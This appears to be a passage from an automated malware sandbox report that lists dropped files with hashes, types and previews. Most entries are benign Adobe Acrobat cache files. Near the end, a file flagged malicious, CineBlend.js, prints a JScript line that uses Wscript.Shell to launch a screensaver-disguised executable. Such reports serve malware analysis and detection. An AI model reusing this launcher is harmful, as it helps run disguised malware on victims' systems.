                                SHA-256:82FB77E520479999862654A86CE173F07BBCC88FAF80301E1CF95D2B93DB9F3F
                                SHA-512:6E72C70374DE335993CBDA9CC356852941A4F06A2C4EC168E97D05B5121CB0CE695EF3D77A418F2519A9EC3252EA8D8800604AD8A61D8F787DACB458323D56B6
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):294
                                Entropy (8bit):5.295172250441798
                                Encrypted:false
                                SSDEEP:6:YEQXJ2HXDiB6BcNHV9VoZcg1vRcR0Y0DeoAvJfBD2G6UpnrPeUkwRe9:YvXKX+B6BcN1EZc0vXVGR22cUkee9
                                MD5:CE50865B1AE4092837AC221F15DDFC2C
                                SHA1:29692182D6750BCA81E82D579D629629C333CB36
                                SHA-256:C6D66789EB7F68BA6A640490A17357ABA423B5B9A3AA98915419103ACE67DC89
                                SHA-512:800B0E4922AF22F958E909E1495F190AC6711BD1CF749A621F8556912D11B66226A86CE76465C9886728B81E2802814CCE439A33216044550E59EC473F8CAC7B
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):285
                                Entropy (8bit):5.353208496734358
                                Encrypted:false
                                SSDEEP:6:YEQXJ2HXDiB6BcNHV9VoZcg1vRcR0Y0DeoAvJfPmwrPeUkwRe9:YvXKX+B6BcN1EZc0vXVGH56Ukee9
                                MD5:FD5BE5DE599B91D100FCABBD1CE3E4B3
                                SHA1:4988F397266D4C3597A1B94DCAB992E22D1DD5DE
                                SHA-256:302686EBA3301618AF26BA29352836F1DCDA036EE9C4938FEF48B1F6B24684F1
                                SHA-512:E275B069607E5E414B5938580B02F48E7C8780E9394EFD11E5348D19A34DDE869BD558010890DBA37DD1E31111227133BDF04E46613C2FE91052280E83E086FD
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1123
                                Entropy (8bit):5.687507004325892
                                Encrypted:false
                                SSDEEP:24:Yv6X+BqSWzvX6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSU:YvHvOyhgy6SAFv5Ah8cv/U
                                MD5:5AC54C188AD9A5EA33CC32BF0BA401A8
                                SHA1:4E9898FB7E7D27CB9C81DE6AA2DB0A5218FBD8DD
                                SHA-256:3E1DA5AA7D53F0C351440A838CDA2BC10DBB55B1E20F90736F52AF20C7AE9529
                                SHA-512:A7EC81CDFDD4519B04526D5311AEDCA3283A3C95E4EE4C1BA1A9C6E48B94F6866873AABEBDCDF9D2DC55CFCDB117C4D8F3FE6F39D4A50EB5126801DEA7C84E5F
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):289
                                Entropy (8bit):5.299363429264348
                                Encrypted:false
                                SSDEEP:6:YEQXJ2HXDiB6BcNHV9VoZcg1vRcR0Y0DeoAvJf8dPeUkwRe9:YvXKX+B6BcN1EZc0vXVGU8Ukee9
                                MD5:1D33FA519C2823E9545D86911952088D
                                SHA1:C034F42F81691545269EC54981089827A04E5EB3
                                SHA-256:E405AAF9B9D52898ED7D64D837D0D94FF54AC16837D8CEC80889F5344811CAD7
                                SHA-512:5A64D7080FA95D12D6525F4203BAC5BF36C26ED3B462BE12CBADE671786FE24189D1E32335E5E8CBDB0BF2B67AEA71C4ED62AC1F6A2B4335BC3556BC2F5B982D
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):292
                                Entropy (8bit):5.303852203789734
                                Encrypted:false
                                SSDEEP:6:YEQXJ2HXDiB6BcNHV9VoZcg1vRcR0Y0DeoAvJfQ1rPeUkwRe9:YvXKX+B6BcN1EZc0vXVGY16Ukee9
                                MD5:0D990F25937864324197DE8B9FD88F84
                                SHA1:2DE50621BCB721D9F48BAC1CECBF274470C3572F
                                SHA-256:2B1BA786CFEAF3F823ED61D7E9F7630A6D1C38CF50FA3B74527E6C9080716AC1
                                SHA-512:9FE0E2070D4A201D0F8C471EE7302BC20332C7BDBDEE60BD011272322E2013EEA7581AE284D31B4D0625D35D0A5D9C559F79FCDBBB730F282769CE787E2CB2F0
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):289
                                Entropy (8bit):5.306774759815385
                                Encrypted:false
                                SSDEEP:6:YEQXJ2HXDiB6BcNHV9VoZcg1vRcR0Y0DeoAvJfFldPeUkwRe9:YvXKX+B6BcN1EZc0vXVGz8Ukee9
                                MD5:6BC6C4A8B64E31C1F885BC7F66D1931A
                                SHA1:0F012A2FDCAF3B8C89466CC8F3FC0D35187293A1
                                SHA-256:15E557ECE7EFBA5616BE0EE26BA58AF1E4D1D4887769BD773074E5F6FD544994
                                SHA-512:B323A3D7060B13BF3A400FD5CB5092849F79F149FC0507DE7494C61FEE7EF702BD32C2C3A62653D3AF799467375E472FADF92471FD88AE1D6DA5630E400E83D6
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):295
                                Entropy (8bit):5.323877147353879
                                Encrypted:false
                                SSDEEP:6:YEQXJ2HXDiB6BcNHV9VoZcg1vRcR0Y0DeoAvJfzdPeUkwRe9:YvXKX+B6BcN1EZc0vXVGb8Ukee9
                                MD5:1FC227B224F560AC70185C143B1FA0DD
                                SHA1:59AEFBE56AB38FF9D8BAFB6899B78BC4C3420AFF
                                SHA-256:5FF99CAFE7B24CB4026B3A83FFFB53B0D8EF66B655F3CBCA8946667AABACA661
                                SHA-512:48ADCF2C3E505D2E582BFB4D315CDB392548D4A2EF1C5C75DAE2D7D2E994EE8DB939D9AE7193C3DDAD5AE1BC56386123A3878EEB770FD564B64022E33A951926
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):289
                                Entropy (8bit):5.304892074083872
                                Encrypted:false
                                SSDEEP:6:YEQXJ2HXDiB6BcNHV9VoZcg1vRcR0Y0DeoAvJfYdPeUkwRe9:YvXKX+B6BcN1EZc0vXVGg8Ukee9
                                MD5:0307C5664981CD19FBB7312782FC82EA
                                SHA1:273ABA831118729466EE0AF39DEF66C80C8794A2
                                SHA-256:E38287FAEF26A2B7396483B64DF2B4F335F6C534D672AEB5A4C79B6542E3C282
                                SHA-512:990DCC366529E8D49EEA6E5E2BAC826E88F4AA184B0ACD3644E3C9AD8E02EAF1EFCB8000CC495EBF29493FA6590B635A0E6CE07722751DA8853D121BF4A19983
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):284
                                Entropy (8bit):5.291028574971603
                                Encrypted:false
                                SSDEEP:6:YEQXJ2HXDiB6BcNHV9VoZcg1vRcR0Y0DeoAvJf+dPeUkwRe9:YvXKX+B6BcN1EZc0vXVG28Ukee9
                                MD5:58BB2561A2A6C8CA2D75D9E362ABCBB3
                                SHA1:3BD8C2EF8486E2DA64EA7C35D9391A4E77B9EB77
                                SHA-256:0967007DD521E941781BABE15487298655BC6768404710EE65E6F682A884EE7D
                                SHA-512:932883045F3A3BC754F8273894C48924925E20751EB24024FDED3C9020B08B73374B903B0277073E5757A4693A3D02848701965DF22B57FB060BCAC0EC63E79D
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):291
                                Entropy (8bit):5.288405549255441
                                Encrypted:false
                                SSDEEP:6:YEQXJ2HXDiB6BcNHV9VoZcg1vRcR0Y0DeoAvJfbPtdPeUkwRe9:YvXKX+B6BcN1EZc0vXVGDV8Ukee9
                                MD5:C03A6185F58EA4ADA8640AAA9DC3747F
                                SHA1:92AAF3B5C6BA536848EB4727E33B1C361C97246B
                                SHA-256:1BB2F5C45EF2AADEB07FE56821D211E875E9F65600D198E0327EA66E23585A12
                                SHA-512:9B9C1F0F02E7803A4B433477A15093188E3EE523EE37167DEB4D0C281764C46D1E344BEA1333243612179C569C238E76B6B68B3A8CBA125C7AE904565D826FA1
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):287
                                Entropy (8bit):5.293420581089492
                                Encrypted:false
                                SSDEEP:6:YEQXJ2HXDiB6BcNHV9VoZcg1vRcR0Y0DeoAvJf21rPeUkwRe9:YvXKX+B6BcN1EZc0vXVG+16Ukee9
                                MD5:4F4B4C2CA3F762499AA93BFFBBFE3D71
                                SHA1:7E1E3DFA50562FC388EAF4A5FF898CA32EE94A99
                                SHA-256:E7EEFDF20F187DEAF534696368516CB5666D8A1A6CDB1630E67A84FC579117D2
                                SHA-512:F35B7FD6E2D2F2AB658F52EAF427E317A028D3949EE6781A93A352E6816F6C33F5D36E08BCC728D6EED1953621261E48B8BF5BC615BECDFAE80B1F486D4F0AB3
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1090
                                Entropy (8bit):5.663413165027715
                                Encrypted:false
                                SSDEEP:24:Yv6X+BqSWzvXmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSoY:YvHvOwBgkDMUJUAh8cvMF
                                MD5:F399B08D29BE543C17FE883B8971BCC1
                                SHA1:F39143822D32FA961798A477101D8094DE81196B
                                SHA-256:CC0F09D34171F2AAAB2F51AED32DD31D0456B07B7F472BB4239EFA239F9C868D
                                SHA-512:A5975C92F037AB99AE26CEA0A4BA26DD6B85AF08C6D5666CF739C487BC85B6767D5D78AA2D50CFB981C420AB1898ABE1C406DB32E65706FC4C42A85DFBC0D1CD
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):286
                                Entropy (8bit):5.267641718201813
                                Encrypted:false
                                SSDEEP:6:YEQXJ2HXDiB6BcNHV9VoZcg1vRcR0Y0DeoAvJfshHHrPeUkwRe9:YvXKX+B6BcN1EZc0vXVGUUUkee9
                                MD5:32DBE14EB0F3D0739EC7B5CC95E9F878
                                SHA1:311FD0415EE6FDF4D9A5BF17E9C6478FC0FA0F7E
                                SHA-256:CDF75AC581956FF2411FA02F0E3A4E3D2F73CD8D169479F8D881F57E315F1D17
                                SHA-512:657FDC7605A2B51AE3267FA8B6268C2D530CDADC70CEBDA8766FBCDFB50BAB1AB9BD70B651CB0046AA9C34F118193EACCA085158FCDBC484B4DC334836B351FD
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):282
                                Entropy (8bit):5.274276123561234
                                Encrypted:false
                                SSDEEP:6:YEQXJ2HXDiB6BcNHV9VoZcg1vRcR0Y0DeoAvJTqgFCrPeUkwRe9:YvXKX+B6BcN1EZc0vXVGTq16Ukee9
                                MD5:CADEA2843D0A83EE71CF39C8EDF00847
                                SHA1:15CC2CDBA9BCA060288D00756B2BC3F5AF838DAF
                                SHA-256:7E13D536C7714DD3A63F46ADFCEF2B26872A95D17D7BC66AB71B90F2E6720D7F
                                SHA-512:77F080D4BA7AD6895E7329266D617E98E5476CB30C98010A54DCF855F5F26CA55AF49BAA0F8C9F3CB7263D4BDBDC62F7FA90E9B44E18F344A15A389551D81288
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):4
                                Entropy (8bit):0.8112781244591328
                                Encrypted:false
                                SSDEEP:3:e:e
                                MD5:DC84B0D741E5BEAE8070013ADDCC8C28
                                SHA1:802F4A6A20CBF157AAF6C4E07E4301578D5936A2
                                SHA-256:81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
                                SHA-512:65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
                                Malicious:false
                                Preview:....

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):2814
                                Entropy (8bit):5.14014307933672
                                Encrypted:false
                                SSDEEP:24:YPAxFD9aJayEtQnYcASkJBGL2sJD2NujAWqvj0SG6a2ftV2LS4CJ3Fv3wsVF5p9d:YIxDzjJmJD2WAW4MCtVqs3FvAIb9CVO
                                MD5:94BB789CDE9105B8D73A746861B366C1
                                SHA1:12D16F2D85C829B2B6DD134CB5589D11D0880843
                                SHA-256:52326507B5A826203F4C98624F1CD927B1BFE49E889734EBEC9B417B58A05F39
                                SHA-512:B405EE9FF374112C46243C4871F35ABA1F8F896336608AEF750D49FB0FC87CD06DC6AB28444CAB9BF50122938583EA8497DDD741AA3DFDD88F44C96B7915D73C
                                Malicious:false
                                Preview:{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c383c8f1770f75ee501edc3d8038e33f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736042588000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2906b4481c87853edb5c2b771b731c5c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736042588000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f57f5be61f8b73bc51a35b2123f67a12","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736042588000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"520104f0b6203e2476c1ac923ddbc8b0","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736042588000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f51fe23fd72ee2199739d8f9b2c31e10","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736042587000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"04c8b755eab3e26abfa774613a8dd854","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
                                Category:dropped
                                Size (bytes):12288
                                Entropy (8bit):1.1880742425039086
                                Encrypted:false
                                SSDEEP:48:TGufl2GL7msEHUUUUUUUUaXSvR9H9vxFGiDIAEkGVvp+X:lNVmswUUUUUUUUI+FGSItm
                                MD5:5833ACDA423E4C21D1A4A787616C5FD4
                                SHA1:A79C2A2545903811E08E9A5605241219054C9D3A
                                SHA-256:162E017DBB0F1C7B6F8B5DE3B62F6A37F8128E42CEC962B8CE0BFCDF0071F51B
                                SHA-512:2A4F02E46719D75A907F51E1AE2F68CAB06ADC9D4F4EA6EB5EB50575575A5D43BE60FFE65DACB90B40823DB97C42AF4088DFCC568724F4E4AB1030CD117836EB
                                Malicious:false
                                Preview:SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:SQLite Rollback Journal
                                Category:dropped
                                Size (bytes):8720
                                Entropy (8bit):1.6063505879589195
                                Encrypted:false
                                SSDEEP:48:7MLKUUUUUUUUUUaLvR9H9vxFGiDIAEkGVv8pqFl2GL7msn:7dUUUUUUUUUU2FGSItupKVmsn
                                MD5:91574ED8D72DA8438845F2841928F6A4
                                SHA1:DBBEAB6245B583755AAE8067FCCD4B548F174518
                                SHA-256:DE7B430962B312C11D4346DFED4BF2D22ED72E0FE0CE1BE77BFBEBACE261FCFD
                                SHA-512:30B0FCA20F3D52CFCF1D2A50FE85E442A8B616007B5AC6A7B4E40A9936D0BB1F95857F30F74FAC46013E685BABCFF8EF303FC58A897792E9CEFF073E77D7CB90
                                Malicious:false
                                Preview:.... .c.....x.n2......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):66726
                                Entropy (8bit):5.392739213842091
                                Encrypted:false
                                SSDEEP:768:RNOpblrU6TBH44ADKZEgSG9CoTAANl6ng72nGOXDrY7Yyu:6a6TZ44ADESG91TAalDj/K
                                MD5:331C1B58662FE90DBFA288A92DF3044B
                                SHA1:E8896AED941754DCAE2793DC96DBCE0EA3E11C98
                                SHA-256:F418391EBB9FE01650BE8EBAD128EEBE443C4C00858EE6843E626AB667F427C5
                                SHA-512:5F9D19FDB7E6E6A63763AD8C5E93BE1FE7F0F19F5D9164FD713DEB57B49B0407E1DDC8948AA836E00BBE89BBA31367EC270428F7A24D42AEFF902B467CD1B1E3
                                Malicious:false
                                Preview:4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

                                C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\677826\Prostores.com
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):194
                                Entropy (8bit):4.728961865655362
                                Encrypted:false
                                SSDEEP:6:RiJBJHonwWDKaJkDvNLMqL9WiywWDKaJkDvNL85M:YJ7QjWaK9L9W7WaK5
                                MD5:E374DEE0980665B0A43DADD9532DF501
                                SHA1:7AC2B7572365CF8873C2DE28E71E051AD96C9ACE
                                SHA-256:56091AD9541CBC140D3E0F929A25E3E46DC949B6CD5D90EAE45160D641F6C9D2
                                SHA-512:F2B73100CFEC0844A14E598448A707EBD912594328092F2A7744D9D63EEE1985EBF69D6821D4FAC049FE88E5204E5869AC170095A955F13D246DABF4CD57E03E
                                Malicious:true
                                Preview:new ActiveXObject("Wscript.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\MediaFusion Technologies Inc\\CineBlend.scr\" \"C:\\Users\\user\\AppData\\Local\\MediaFusion Technologies Inc\\s\"")

                                C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\677826\Prostores.com
                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                Category:dropped
                                Size (bytes):947288
                                Entropy (8bit):6.630612696399572
                                Encrypted:false
